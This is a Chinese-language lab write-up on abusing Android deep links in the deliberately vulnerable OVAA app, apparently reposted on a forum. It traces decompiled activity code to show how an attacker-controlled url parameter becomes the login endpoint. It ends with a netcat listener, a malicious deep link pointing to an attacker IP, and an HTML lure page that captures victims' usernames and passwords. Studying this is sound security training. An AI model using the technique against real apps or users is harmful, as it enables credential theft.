在正式開(kāi)始漏洞利用之前,我們需要先來(lái)了解一下什么是deep link。
Deep Link簡(jiǎn)介
Deep Link 是一種允許應(yīng)用程序通過(guò) URL 直接響應(yīng)特定頁(yè)面或功能的技術(shù)。這是通過(guò)操作系統(tǒng)和應(yīng)用程序之間的一種約定來(lái)實(shí)現(xiàn)的。
Deep Link 結(jié)構(gòu):
在 Android 中,當(dāng)安裝一個(gè)應(yīng)用程序時(shí),該應(yīng)用程序的 manifest 文件(AndroidManifest.xml)會(huì)注冊(cè)到系統(tǒng)中。這個(gè)文件包含了該應(yīng)用程序的所有組件信息,包括 activities、services、broadcast receivers 等。對(duì)于 deep linking,開(kāi)發(fā)者可以在 manifest 文件中定義一個(gè)或多個(gè) intent filters,這些 intent filters 定義了哪些 URL 可以啟動(dòng)哪些 activities。
當(dāng)用戶點(diǎn)擊一個(gè)符合某個(gè)應(yīng)用程序 intent filter 規(guī)則的 URL 時(shí),Android 系統(tǒng)就會(huì)啟動(dòng)該應(yīng)用程序的對(duì)應(yīng) activity。具體的規(guī)則是通過(guò) intent filter 中的 data 元素來(lái)定義的,這個(gè)元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合這些規(guī)則,那么就會(huì)啟動(dòng)對(duì)應(yīng)的 activity。
例如,下面這個(gè)示例:
<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="oversecured" android:host="ovaa"/>
<span class="hljs-name"intent-filter>
<span class="hljs-name"activity>
通過(guò)分析上面的示例代碼,我們就可以知道,在安卓系統(tǒng)中任何以"oversecured://ovaa"開(kāi)頭的URL都會(huì)啟動(dòng)其所對(duì)應(yīng)的oversecured.ovaa.activities.DeeplinkActivity。
總的來(lái)說(shuō),深度鏈接允許開(kāi)發(fā)者通過(guò) URL 直接打開(kāi)應(yīng)用程序的特定部分,這對(duì)于用戶體驗(yàn)和應(yīng)用程序間的交互是非常有用的。
查找Deep Link
在Android系統(tǒng)中,應(yīng)用需要在AndroidManifest.xml文件中聲明它們能處理的Deep Link。因此,我們可以通過(guò)使用jadx等反編譯工具對(duì)目標(biāo)APK進(jìn)行反編譯,在反編譯后的AndroidManifest.xml文件中搜索關(guān)鍵字:"android:scheme"
一般搜索結(jié)果所在的data標(biāo)簽部分,就包括了Deep Link Url所需的必要組成部分:
- scheme: oversecured,
- host: ovaa
轉(zhuǎn)換成url就是:oversecured://ovaa
那這個(gè)時(shí)候,找到了APP可以處理的Deep Link,我們可以先來(lái)嘗試一下,在安卓系統(tǒng)中觸發(fā)訪問(wèn)我們找到的這個(gè)Deep Link:oversecured://ovaa。
1)在PC上使用python在本地開(kāi)啟一個(gè)簡(jiǎn)易的web服務(wù)器
python -m http.server
2)在本地服務(wù)器根目錄放置一個(gè)html頁(yè)面文件
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa">點(diǎn)擊這里可以打開(kāi)指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
這個(gè)頁(yè)面的主要目的就是,當(dāng)在手機(jī)瀏覽器遠(yuǎn)程訪問(wèn)html頁(yè)面時(shí),點(diǎn)擊a標(biāo)簽對(duì)應(yīng)的超鏈接,就可以在安卓系統(tǒng)中觸發(fā)對(duì)Deep Link的訪問(wèn)
3)在手機(jī)瀏覽器遠(yuǎn)程訪問(wèn)html頁(yè)面,點(diǎn)擊a標(biāo)簽對(duì)應(yīng)的超鏈接
oversecured://ovaa
被訪問(wèn)時(shí),DeeplinkActivity
將會(huì)被瞬間打開(kāi)然后立即關(guān)閉,我們可能只會(huì)看到一個(gè)閃爍的屏幕,看不到具體的Activity內(nèi)容。
?通過(guò)分析DeeplinkActivity代碼可以知道:直接訪問(wèn)
oversecured://ovaa
,Android系統(tǒng)將會(huì)匹配到DeeplinkActivity
并啟動(dòng)它,因?yàn)槟繕?biāo)APP的AndroidManifest.xml中定義的intent-filter聲明了這個(gè)Activity可以處理scheme為"oversecured"和host為"ovaa"的URI。在
DeeplinkActivity
的onCreate
方法中,它會(huì)獲取到傳入的Intent,檢查Intent的action是否為"android.intent.action.VIEW",然后獲取并處理Intent的data(即URI)。因此,當(dāng)直接訪問(wèn)oversecured://ovaa
,這個(gè)Activity將會(huì)被啟動(dòng),并且在onCreate
方法中調(diào)用processDeeplink
方法。但是,因?yàn)槲覀冎苯釉L問(wèn)的URI沒(méi)有路徑(path),所以在
processDeeplink
方法中,uri.getPath()
將返回null
,所有的條件分支都不會(huì)被執(zhí)行,所以不會(huì)有任何額外的操作。然后,
onCreate
方法會(huì)調(diào)用finish()
方法來(lái)結(jié)束這個(gè)Activity。所以,從咱們的用戶的視角來(lái)看,oversecured://ovaa
被訪問(wèn)時(shí),DeeplinkActivity
將會(huì)被瞬間打開(kāi)然后立即關(guān)閉,用戶可能只會(huì)看到一個(gè)閃爍的屏幕,看不到具體的Activity內(nèi)容。?
跟蹤APP對(duì)Deep Link的處理
通過(guò)分析目標(biāo)APP的AndroidManifest.xml,我們知道響應(yīng)oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我們可以通過(guò)反編譯工具查看DeeplinkActivity相關(guān)的代碼。
package oversecured.ovaa.activities;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;
/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
private static final int URI_GRANT_CODE = 1003;
private LoginUtils loginUtils;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
Uri uri;
super.onCreate(savedInstanceState);
this.loginUtils = LoginUtils.getInstance(this);
Intent intent = getIntent();
if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
processDeeplink(uri);
}
finish();
}
private void processDeeplink(Uri uri) {
String url;
String host;
if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
String path = uri.getPath();
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/grant_uri_permissions".equals(path)) {
Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
if (getPackageManager().resolveActivity(i, 0) != null) {
startActivityForResult(i, 1003);
}
} else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode == -1 && requestCode == 1003) {
setResult(resultCode, data);
}
}
}
通過(guò)分析代碼,我們可以知道:
1)當(dāng)用戶點(diǎn)擊一個(gè)匹配intent filter的deep link URL時(shí),Android系統(tǒng)會(huì)啟動(dòng)對(duì)應(yīng)的activity,并通過(guò)intent傳遞數(shù)據(jù)給這個(gè)activity,此處也就是DeeplinkActivity。當(dāng)DeeplinkActivity被打開(kāi)時(shí),APP首先執(zhí)行的是onCreate方法,開(kāi)發(fā)者在activity的onCreate()方法中通過(guò)getIntent()獲取這個(gè)intent,然后通過(guò)getData()獲取URL
2)獲取到URL后,APP再調(diào)用processDeeplink(uri),接著根據(jù)傳入的uri進(jìn)行一系列處理,主要是通過(guò)條件語(yǔ)句針對(duì)url中不同的path進(jìn)行不同的邏輯處理,通過(guò)代碼可知APP可識(shí)別處理的path是:/logout、/login、/grant_uri_permissions、/webview。
跟蹤APP對(duì)/login路徑的處理
比如當(dāng)我們?cè)L問(wèn)的deep link url是:oversecured://ovaa/login,代碼String path = uri.getPath();得到的就是/login,此時(shí)當(dāng)processDeeplink被調(diào)用時(shí)就會(huì)執(zhí)行以下代碼:
else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
}
通過(guò)代碼String url2 = uri.getQueryParameter("url");可知,APP會(huì)嘗試從deep link中去獲取一個(gè)名字叫做url的參數(shù)值。
比如我們?cè)L問(wèn)的deep link url是:oversecured://ovaa/login?url=http://www.test.com。
如果我們?cè)L問(wèn)的deeplink中有url參數(shù),那APP取到url的值又要干嘛呢?我們繼續(xù)跟蹤
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
如果APP取到url參數(shù)的值,則將取到的url繼續(xù)傳給setLoginUrl處理
public void setLoginUrl(String url) {
this.editor.putString(LOGIN_URL_KEY, url).commit();
}
這段代碼的含義就是調(diào)用 SharedPreferences.Editor
的 putString
方法,將鍵為 LOGIN_URL_KEY
的字符串值設(shè)為 url
,然后調(diào)用 commit
方法將這個(gè)改動(dòng)保存到 SharedPreferences 中。這樣,下次應(yīng)用程序啟動(dòng)時(shí),這個(gè) URL 仍然可以被獲取到。
到這里,我們就比較清晰了,獲取到deep link傳遞過(guò)來(lái)的url后,將url的值和LOGIN_URL_KEY這個(gè)鍵進(jìn)行了綁定。就是一個(gè)獲取并保存的操作,那我們繼續(xù)接著往后面的代碼進(jìn)行分析:
當(dāng)if語(yǔ)句執(zhí)行結(jié)束,保存好了url后,APP又啟動(dòng)了一個(gè)新的界面EntranceActivity
startActivity(new Intent(this, EntranceActivity.class));
我們繼續(xù)最終分析EntranceActivity界面的代碼
public class EntranceActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (LoginUtils.getInstance(this).isLoggedIn()) {
startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
} else {
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
}
finish();
}
}
這個(gè)EntranceActivity的代碼主要是判斷當(dāng)前是否已登錄或者未登錄,那我們這里繼續(xù)追蹤未登錄的代碼進(jìn)行分析,也就是else代碼塊中的調(diào)用:
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到對(duì)應(yīng)的是oversecured.ovaa.activities.LoginActivity
image-20230519013229270
繼續(xù)分析LoginActivity中處理登錄的關(guān)鍵函數(shù)processLogin:
public void processLogin(String email, String password) {
LoginData loginData = new LoginData(email, password);
Log.d("ovaa", "Processing " + loginData);
LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
@Override // retrofit2.Callback
public void onResponse(Call<Void> call, Response<Void> response) {
}
@Override // retrofit2.Callback
public void onFailure(Call<Void> call, Throwable t) {
}
});
this.loginUtils.saveCredentials(loginData);
onLoginFinished();
}
這段代碼的主要作用就是處理用戶的登錄,是使用 Retrofit 庫(kù)來(lái)與服務(wù)器進(jìn)行通信。
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback
這段代碼主要就是調(diào)用 loginService
的 login
方法,傳入登錄 URL 和登錄數(shù)據(jù),登錄url是從getLoginUrl函數(shù)獲取,而這個(gè)函數(shù)最終拿到的登錄url就是前面從deeplink中獲取到的url。
public String getLoginUrl() {
String url = this.preferences.getString(LOGIN_URL_KEY, null);
if (TextUtils.isEmpty(url)) {
String url2 = this.context.getString(R.string.login_url);
this.editor.putString(LOGIN_URL_KEY, url2).commit();
return url2;
}
return url;
}
那分析到這里,我們就可以知道,APP在處理oversecured://ovaa/login?url=http://www.test.com 這個(gè)deep link的時(shí)候,會(huì)將url的值作為登錄url,然后將用戶輸入的賬號(hào)和密碼作為參數(shù)發(fā)起請(qǐng)求進(jìn)行提交,但是此處的url是攻擊者可控的,從而就導(dǎo)致了可竊取用戶的登錄憑證。
憑證截取
1)攻擊者服務(wù)器監(jiān)聽(tīng)端口,用于接收竊取到的賬號(hào)密碼。
nc -lnvp 8889
2)根據(jù)分析,構(gòu)造惡意的deep link
oversecured://ovaa/login?url=http://192.168.10.11:8889
3)攻擊者web服務(wù)器放置一個(gè)html頁(yè)面,用于誘導(dǎo)用戶點(diǎn)擊執(zhí)行deeplink
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">點(diǎn)擊這里可以打開(kāi)指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
4)最終竊取賬號(hào)密碼的效果
-
Android
+關(guān)注
關(guān)注
12文章
3973瀏覽量
130218 -
Web服務(wù)器
+關(guān)注
關(guān)注
0文章
138瀏覽量
24856 -
URL
+關(guān)注
關(guān)注
0文章
141瀏覽量
15862 -
python
+關(guān)注
關(guān)注
56文章
4827瀏覽量
86706
發(fā)布評(píng)論請(qǐng)先 登錄
五步玩轉(zhuǎn)低成本高效智能硬件App開(kāi)發(fā)
利用Link Node實(shí)現(xiàn)傳感器數(shù)據(jù)在SJ App上的實(shí)時(shí)顯示
可以使用憑證生成許可并使用vivado 2016.2加載嗎
J-Link不能連接目標(biāo)MCU怎么解決
STM32L151VB-A通過(guò)J-Link連接時(shí),顯示無(wú)法連接到目標(biāo)是為什么?
MCU Link Pro未檢測(cè)到目標(biāo)的原因?
憑證管理的詳細(xì)設(shè)計(jì)
URL,URL是什么意思
研究人員發(fā)現(xiàn)一個(gè)可竊取AWS憑證的加密貨幣蠕蟲(chóng)

關(guān)于竊取業(yè)務(wù)數(shù)據(jù)的幾種常見(jiàn)網(wǎng)絡(luò)攻擊類(lèi)型介紹
詳解英特爾 Xe Max 獨(dú)顯:Deep Link 技術(shù)可讓獨(dú)顯 / 核顯 “交火”
如何知道APP權(quán)限正在竊取隱私信息?
教你輕松J-Link不能連接目標(biāo)MCU的問(wèn)題

IP知識(shí)百科之URL過(guò)濾
AN-2058: ADuCM355用戶引導(dǎo)加載程序

評(píng)論